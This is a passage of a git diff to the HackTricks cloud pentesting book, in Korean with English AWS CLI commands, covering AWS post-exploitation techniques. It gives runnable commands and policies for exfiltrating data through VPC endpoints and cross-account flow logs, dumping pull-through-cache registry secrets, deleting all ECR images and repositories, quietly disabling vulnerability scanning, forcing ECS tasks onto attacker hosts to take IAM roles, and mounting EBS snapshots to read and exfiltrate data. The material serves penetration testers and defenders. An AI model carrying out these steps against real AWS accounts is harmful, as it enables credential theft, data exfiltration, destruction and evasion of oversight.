endpoints (예: execute-api, secretsmanager, ssm 등)는 security groups로 보호되는 private IP를 가진 접근 가능한 ENI를 생성한다. 최소한의 VPC/EC2 권한으로 공격자는 공용 Internet을 통과하지 않는 제어된 egress를 활성화할 수 있다. + +> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs. + +## 옵션 A – S3 Gateway VPC Endpoint + +**변수** +- `REGION=us-east-1` +- `VPC_ID=` +- `RTB_IDS=` + +1) 허용적인 endpoint policy 파일을 생성한다(선택사항). `allow-put-get-any-s3.json`로 저장: +```json +{ +"Version": "2012-10-17", +"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] +} +``` +2) S3 Gateway endpoint 생성 (선택한 route tables에 S3 prefix‑list route를 추가): +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.s3 \ +--vpc-endpoint-type Gateway \ +--route-table-ids $RTB_IDS \ +--policy-document file://allow-put-get-any-s3.json # optional +``` +캡처할 증거: +- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS`는 AWS S3 prefix list로 가는 경로를 보여줍니다(예: `DestinationPrefixListId=pl-..., GatewayId=vpce-...`). +- 해당 서브넷의 인스턴스에서 (with IAM perms) Internet 없이 S3를 통해 exfil할 수 있습니다: +```bash +# On the isolated instance (e.g., via SSM): +echo data > /tmp/x.txt +aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION +``` +## 옵션 B – Interface VPC Endpoint for API Gateway (execute-api) + +**변수** +- `REGION=us-east-1` +- `VPC_ID=` +- `SUBNET_IDS=` +- `SG_VPCE=` + +1) interface endpoint를 생성하고 SG를 연결하세요: +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.execute-api \ +--vpc-endpoint-type Interface \ +--subnet-ids $SUBNET_IDS \ +--security-group-ids $SG_VPCE \ +--private-dns-enabled +``` +수집할 증거: +- `aws ec2 describe-vpc-endpoints`가 `available` 상태의 엔드포인트를 `NetworkInterfaceIds`와 함께 표시함 (서브넷 내 ENIs). +- 해당 서브넷의 인스턴스는 해당 VPCE ENIs를 통해 Private API Gateway endpoints에 접근할 수 있음(인터넷 경로 불필요). + +## 영향 +- AWS가 관리하는 프라이빗 경로를 이용해 경계 아웃바운드 제어를 우회함. +- 격리된 서브넷에서 데이터 유출을 가능하게 함(예: S3에 쓰기; Private API Gateway 호출; Secrets Manager/SSM/STS 등 접근) — IGW/NAT 없이. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md new file mode 100644 index 000000000..1eedc7912 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md @@ -0,0 +1,74 @@ +# AWS - VPC Flow Logs Cross-Account Exfiltration to S3 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Summary +`ec2:CreateFlowLogs`를 악용하여 VPC, subnet, 또는 ENI flow logs를 공격자가 제어하는 S3 버킷으로 직접 내보냅니다. delivery role이 외부 버킷에 쓰도록 구성되면, 모니터링되는 리소스에서 관찰된 모든 연결이 피해자 계정 밖으로 스트리밍됩니다. + +## Requirements +- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created). +- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`. +- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here). + +## Attack Walkthrough + +1) **Attacker**는 VPC Flow Logs 배달 서비스가 객체를 쓸 수 있도록 허용하는 S3 버킷 정책을 (attacker account에서) 준비합니다. 적용하기 전에 플레이스홀더를 교체하세요: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowVPCFlowLogsDelivery", +"Effect": "Allow", +"Principal": { "Service": "delivery.logs.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::/flowlogs/*", +"Condition": { +"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } +} +} +] +} +``` +공격자 계정에서 적용: +```bash +aws s3api put-bucket-policy \ +--bucket \ +--policy file://flowlogs-policy.json +``` +2) **Victim** (compromised principal)이 attacker bucket을 대상으로 flow logs를 생성합니다: +```bash +REGION=us-east-1 +VPC_ID= +ROLE_ARN= # Must allow delivery.logs.amazonaws.com to assume it +aws ec2 create-flow-logs \ +--resource-type VPC \ +--resource-ids "$VPC_ID" \ +--traffic-type ALL \ +--log-destination-type s3 \ +--log-destination arn:aws:s3:::/flowlogs/ \ +--deliver-logs-permission-arn "$ROLE_ARN" \ +--region "$REGION" +``` +몇 분 내에, 모니터링된 VPC/subnet의 모든 ENIs에 대한 연결을 포함하는 flow log files가 attacker bucket에 나타납니다. + +## 증거 + +attacker bucket에 기록된 샘플 flow log records: +```text +version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status +2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK +``` +Bucket 목록 조회 증거: +```bash +aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize +``` +## 영향 +- 모니터링되는 VPC/subnet/ENI에 대한 지속적인 네트워크 메타데이터 exfiltration (source/destination IPs, ports, protocols). +- 피해자 계정 외부에서 traffic analysis, 민감한 서비스 식별 및 security group misconfigurations에 대한 잠재적 탐색을 가능하게 함. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md deleted file mode 100644 index 6407a266c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ /dev/null @@ -1,92 +0,0 @@ -# AWS - ECR Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -자세한 정보는 확인하세요 - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### 로그인, 풀 및 푸시 -```bash -# Docker login into ecr -## For public repo (always use us-east-1) -aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ -## For private repo -aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com -## If you need to acces an image from a repo if a different account, in set the account number of the other account - -# Download -docker pull .dkr.ecr..amazonaws.com/:latest -## If you still have the error "Requested image not found" -## It might be because the tag "latest" doesn't exit -## Get valid tags with: -TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') -curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list - -# Inspect the image -docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 - -# Upload (example uploading purplepanda with tag latest) -docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest -docker push .dkr.ecr..amazonaws.com/purplepanda:latest - -# Downloading without Docker -# List digests -aws ecr batch-get-image --repository-name level2 \ ---registry-id 653711331788 \ ---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' - -## Download a digest -aws ecr get-download-url-for-layer \ ---repository-name level2 \ ---registry-id 653711331788 \ ---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" -``` -이미지를 다운로드한 후에는 **민감한 정보가 있는지 확인해야 합니다**: - -{{#ref}} -https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html -{{#endref}} - -### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` - -이러한 권한을 가진 공격자는 **모든 이미지를 삭제하기 위해 라이프사이클 정책을 생성하거나 수정할 수 있으며**, 그 후 **전체 ECR 리포지토리를 삭제할 수 있습니다**. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다. -```bash -bashCopy code# Create a JSON file with the malicious lifecycle policy -echo '{ -"rules": [ -{ -"rulePriority": 1, -"description": "Delete all images", -"selection": { -"tagStatus": "any", -"countType": "imageCountMoreThan", -"countNumber": 0 -}, -"action": { -"type": "expire" -} -} -] -}' > malicious_policy.json - -# Apply the malicious lifecycle policy to the ECR repository -aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json - -# Delete the ECR repository -aws ecr delete-repository --repository-name your-ecr-repo-name --force - -# Delete the ECR public repository -aws ecr-public delete-repository --repository-name your-ecr-repo-name --force - -# Delete multiple images from the ECR repository -aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 - -# Delete multiple images from the ECR public repository -aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md new file mode 100644 index 000000000..59f13a2ff --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -0,0 +1,205 @@ +# AWS - ECR Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +자세한 내용은 다음을 확인하세요 + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Login, Pull & Push +```bash +# Docker login into ecr +## For public repo (always use us-east-1) +aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ +## For private repo +aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com +## If you need to acces an image from a repo if a different account, in set the account number of the other account + +# Download +docker pull .dkr.ecr..amazonaws.com/:latest +## If you still have the error "Requested image not found" +## It might be because the tag "latest" doesn't exit +## Get valid tags with: +TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') +curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list + +# Inspect the image +docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 +docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL + +# Upload (example uploading purplepanda with tag latest) +docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest +docker push .dkr.ecr..amazonaws.com/purplepanda:latest + +# Downloading without Docker +# List digests +aws ecr batch-get-image --repository-name level2 \ +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' + +## Download a digest +aws ecr get-download-url-for-layer \ +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +``` +이미지를 다운로드한 후에는 **민감한 정보를 확인해야 합니다**: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` + +이 권한들 중 하나라도 가진 공격자는 **리포지토리의 모든 이미지를 삭제하도록 lifecycle policy를 생성하거나 수정할 수** 있으며, 그 후 **전체 ECR 리포지토리를 삭제할 수 있습니다**. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다. +```bash +# Create a JSON file with the malicious lifecycle policy +echo '{ +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] +}' > malicious_policy.json + +# Apply the malicious lifecycle policy to the ECR repository +aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json + +# Delete the ECR repository +aws ecr delete-repository --repository-name your-ecr-repo-name --force + +# Delete the ECR public repository +aws ecr-public delete-repository --repository-name your-ecr-repo-name --force + +# Delete multiple images from the ECR repository +aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 + +# Delete multiple images from the ECR public repository +aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 +``` +{{#include ../../../../banners/hacktricks-training.md}} + +### ECR Pull‑Through Cache (PTC)에서 업스트림 레지스트리 자격증명 탈취 + +ECR Pull‑Through Cache가 인증된 업스트림 레지스트리(Docker Hub, GHCR, ACR 등)에 대해 구성되어 있으면, 업스트림 자격증명은 예측 가능한 이름 접두사인 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자는 때때로 ECR 관리자에게 광범위한 Secrets Manager 읽기 권한을 부여하여 자격증명을 탈취하고 AWS 밖에서 재사용할 수 있게 합니다. + +Requirements +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue + +PTC 후보 시크릿 열거 +```bash +aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ +--output text +``` +발견된 secrets을 덤프하고 공통 필드를 파싱합니다. +```bash +for s in $(aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do +aws secretsmanager get-secret-value --secret-id "$s" \ +--query SecretString --output text | tee /tmp/ptc_secret.json +jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true +jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true +done +``` +선택 사항: leaked creds를 upstream (읽기 전용 로그인)에 대해 검증 +```bash +echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io +``` +영향 +- Secrets Manager 항목을 읽으면 재사용 가능한 upstream registry 자격증명(사용자명/비밀번호 또는 토큰)이 획득되어, upstream 권한에 따라 AWS 외부에서 private 이미지를 pull 하거나 추가 리포지토리에 접근하는 데 악용될 수 있습니다. + +### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration` + +레지스트리 수준의 ECR 권한을 가진 공격자는 registry scanning configuration을 scan-on-push 규칙 없이 BASIC으로 설정하여 모든 리포지토리에 대한 자동 취약점 스캔을 조용히 축소하거나 비활성화할 수 있습니다. 이로 인해 새 이미지 푸시는 자동으로 스캔되지 않아 취약하거나 악성인 이미지를 숨길 수 있습니다. + +요구사항 +- ecr:PutRegistryScanningConfiguration +- ecr:GetRegistryScanningConfiguration +- ecr:PutImageScanningConfiguration (optional, per‑repo) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) + +레지스트리 전체를 수동으로 다운그레이드 (자동 스캔 없음) +```bash +REGION=us-east-1 +# Read current config (save to restore later) +aws ecr get-registry-scanning-configuration --region "$REGION" + +# Set BASIC scanning with no rules (results in MANUAL scanning only) +aws ecr put-registry-scanning-configuration \ +--region "$REGION" \ +--scan-type BASIC \ +--rules '[]' +``` +repo 및 image를 사용하여 테스트 +```bash +acct=$(aws sts get-caller-identity --query Account --output text) +repo=ht-scan-stealth +aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile +docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test + +# Verify no scan ran automatically +aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' +# Optional: will error with ScanNotFoundException if no scan exists +aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true +``` +선택 사항: 리포지토리 범위에서 추가로 하향 조정 +```bash +# Disable scan-on-push for a specific repository +aws ecr put-image-scanning-configuration \ +--region "$REGION" \ +--repository-name "$repo" \ +--image-scanning-configuration scanOnPush=false +``` +영향 +- 레지스트리 전반에 걸친 새로운 이미지 푸시는 자동으로 스캔되지 않으므로 취약하거나 악성인 컨텐츠의 가시성이 감소하고, 수동 스캔이 시작될 때까지 탐지가 지연됩니다. + + +### 레지스트리 전체 스캔 엔진 다운그레이드: `ecr:PutAccountSetting`를 통해 (AWS_NATIVE -> CLAIR) + +기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환하여 레지스트리 전체에서 취약점 탐지 품질을 저하시킬 수 있습니다. 이는 스캐닝을 비활성화하지는 않지만 결과/커버리지에 실질적인 변화를 초래할 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캐닝 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다. + +요구사항 +- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` +- (선택 사항) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` + +영향 +- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION`이 `CLAIR`로 설정되어 이후의 BASIC 스캔은 다운그레이드된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다. + +단계 +```bash +REGION=us-east-1 + +# 1) Read current value so you can restore it later +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true + +# 2) Downgrade BASIC scan engine registry‑wide to CLAIR +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR + +# 3) Verify the setting +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION + +# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) +aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true + +# 5) Restore to AWS_NATIVE when finished to avoid side effects +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md deleted file mode 100644 index 375e61b47..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ /dev/null @@ -1,57 +0,0 @@ -# AWS - ECS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Host IAM Roles - -ECS에서는 **IAM 역할이 컨테이너 내에서 실행되는 작업에 할당될 수 있습니다**. **만약** 작업이 **EC2** 인스턴스 내에서 실행된다면, **EC2 인스턴스**에는 **다른 IAM** 역할이 연결되어 있습니다.\ -즉, ECS 인스턴스를 **타격**하는 데 성공하면 **ECR 및 EC2 인스턴스와 연결된 IAM 역할을 얻을 수 있습니다**. 이러한 자격 증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -> [!CAUTION] -> EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**이 되어 EC2 인스턴스 내의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다. - -### Privesc to node to steal other containers creds & secrets - -게다가, EC2는 EC 작업을 실행하기 위해 도커를 사용하므로, 노드로 탈출하거나 **도커 소켓에 접근할 수 있다면**, 어떤 **다른 컨테이너**가 실행되고 있는지 **확인**할 수 있으며, 심지어 **그 안으로 들어가서** **그들의 IAM 역할을 훔칠 수 있습니다**. - -#### Making containers run in current host - -또한, **EC2 인스턴스 역할**은 일반적으로 클러스터 내에서 노드로 사용되는 EC2 인스턴스의 **컨테이너 인스턴스 상태를 업데이트할 수 있는 충분한 권한**을 가집니다. 공격자는 **인스턴스의 상태를 DRAINING으로 수정**할 수 있으며, 그러면 ECS는 **모든 작업을 제거하고** **REPLICA**로 실행 중인 작업은 **다른 인스턴스에서 실행**되며, 잠재적으로 **공격자의 인스턴스** 내에서 실행되어 **그들의 IAM 역할을 훔치고** 컨테이너 내부의 잠재적인 민감한 정보를 얻을 수 있습니다. -```bash -aws ecs update-container-instances-state \ ---cluster --status DRAINING --container-instances -``` -같은 기술은 **클러스터에서 EC2 인스턴스를 등록 해제하는** 방식으로 수행될 수 있습니다. 이는 잠재적으로 덜 은밀하지만 **작업이 다른 인스턴스에서 실행되도록 강제할 것입니다:** -```bash -aws ecs deregister-container-instance \ ---cluster --container-instance --force -``` -작업을 강제로 재실행하는 마지막 기술은 ECS에 **작업 또는 컨테이너가 중지되었다**고 알리는 것입니다. 이를 수행할 수 있는 3가지 잠재적인 API가 있습니다: -```bash -# Needs: ecs:SubmitTaskStateChange -aws ecs submit-task-state-change --cluster \ ---status STOPPED --reason "anything" --containers [...] - -# Needs: ecs:SubmitContainerStateChange -aws ecs submit-container-state-change ... - -# Needs: ecs:SubmitAttachmentStateChanges -aws ecs submit-attachment-state-changes ... -``` -### ECR 컨테이너에서 민감한 정보 훔치기 - -EC2 인스턴스는 아마도 **이미지를 다운로드**할 수 있는 `ecr:GetAuthorizationToken` 권한을 가질 것입니다 (그 안에서 민감한 정보를 검색할 수 있습니다). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md new file mode 100644 index 000000000..9f48c7a3c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -0,0 +1,126 @@ +# AWS - ECS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +For more information check: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Host IAM Roles + +ECS에서는 컨테이너 내부에서 실행되는 **IAM role can be assigned to the task**. **If** 그 task가 **EC2** 인스턴스 내에서 실행된다면, **EC2 instance**에는 **another IAM** role이 연결되어 있을 것입니다.\ +즉, ECS 인스턴스를 **compromise** 하면 잠재적으로 **obtain the IAM role associated to the ECR and to the EC2 instance** 할 수 있습니다. 해당 자격증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +> [!CAUTION] +> EC2 인스턴스가 IMDSv2를 적용하고 있는 경우, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request**는 **hop limit of 1**을 가지므로 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근하는 것이 불가능해집니다. + +### Privesc to node to steal other containers creds & secrets + +또한, EC2는 docker를 사용해 ECs tasks를 실행하므로, 만약 노드로 탈출하거나 **access the docker socket** 할 수 있다면 어떤 **other containers**가 실행 중인지 **check** 할 수 있고, 심지어 그 내부로 **get inside of them** 하여 연결된 **steal their IAM roles** 할 수도 있습니다. + +#### Making containers run in current host + +게다가, **EC2 instance role**은 보통 클러스터 내 노드로 사용되는 EC2 인스턴스들의 **permissions**가 되어 해당 인스턴스들의 **update the container instance state**를 수행할 수 있을 만큼의 권한을 가지고 있습니다. 공격자는 인스턴스의 **state of an instance to DRAINING**을 변경할 수 있고, 그러면 ECS는 해당 인스턴스에서 **remove all the tasks from it** 하며, **REPLICA**로 실행되던 작업들은 **run in a different instance,** — 잠재적으로 공격자의 **attackers instance** 내부에서 실행되어, 그는 **steal their IAM roles** 및 컨테이너 내부의 민감한 정보를 획득할 수 있습니다. +```bash +aws ecs update-container-instances-state \ +--cluster --status DRAINING --container-instances +``` +동일한 방법은 **deregistering the EC2 instance from the cluster**으로 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 **force the tasks to be run in other instances:** +```bash +aws ecs deregister-container-instance \ +--cluster --container-instance --force +``` +작업을 강제로 재실행하게 만드는 마지막 기법은 ECS에 **task or container was stopped**임을 알리는 것입니다. 이를 수행할 수 있는 API는 3가지가 있습니다: +```bash +# Needs: ecs:SubmitTaskStateChange +aws ecs submit-task-state-change --cluster \ +--status STOPPED --reason "anything" --containers [...] + +# Needs: ecs:SubmitContainerStateChange +aws ecs submit-container-state-change ... + +# Needs: ecs:SubmitAttachmentStateChanges +aws ecs submit-attachment-state-changes ... +``` +### ECR containers에서 민감한 정보 탈취 + +EC2 인스턴스에는 아마도 `ecr:GetAuthorizationToken` 권한이 있어 **이미지 다운로드**가 가능하며(이미지에서 민감한 정보를 검색할 수 있습니다). + +{{#include ../../../../banners/hacktricks-training.md}} + + + +### EBS 스냅샷을 ECS task에 직접 마운트하기 (configuredAtLaunch + volumeConfigurations) + +네이티브 ECS EBS 통합(2024+)을 악용해 기존 EBS 스냅샷의 내용을 새 ECS task/service 내부에 직접 마운트하고 컨테이너 내부에서 데이터를 읽습니다. + +- 필요 권한(최소): +- ecs:RegisterTaskDefinition +- 다음 중 하나: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole 대상: +- 볼륨에 사용되는 ECS 인프라스트럭처 역할(정책: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles (태스크 정의에서 참조됨) +- 스냅샷이 CMK로 암호화되어 있는 경우: 인프라 역할에 대한 KMS 권한 필요 (위 AWS 관리형 정책에는 AWS 관리형 키에 필요한 KMS 권한이 포함되어 있습니다). + +- 영향: 스냅샷에서 임의의 디스크 내용을(예: 데이터베이스 파일) 컨테이너 내부에서 읽고 네트워크/로그를 통해 exfiltrate. + +Steps (Fargate example): + +1) ECS 인프라스트럭처 역할을 생성(존재하지 않는 경우)하고 관리형 정책을 연결합니다: +```bash +aws iam create-role --role-name ecsInfrastructureRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsInfrastructureRole \ +--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes +``` +2) `configuredAtLaunch`로 표시된 볼륨을 가진 task definition을 등록하고 컨테이너에 마운트합니다. 예 (시크릿을 출력한 다음 sleep 상태로 유지): +```json +{ +"family": "ht-ebs-read", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", +"containerDefinitions": [ +{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["cat /loot/secret.txt || true; sleep 3600"], +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, +"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] +} +], +"volumes": [ {"name":"loot", "configuredAtLaunch": true} ] +} +``` +3) `volumeConfigurations.managedEBSVolume`을 통해 EBS snapshot을 전달하여 서비스를 생성하거나 업데이트합니다 (인프라 역할에 iam:PassRole 필요). 예: +```json +{ +"cluster": "ht-ecs-ebs", +"serviceName": "ht-ebs-svc", +"taskDefinition": "ht-ebs-read", +"desiredCount": 1, +"launchType": "FARGATE", +"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, +"volumeConfigurations": [ +{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} +] +} +``` +4) 작업이 시작되면, 컨테이너는 구성된 마운트 경로(예: `/loot`)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate via 작업의 네트워크/로그. + +Cleanup: +```bash +aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 +aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force +aws ecs deregister-task-definition ht-ebs-read +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md 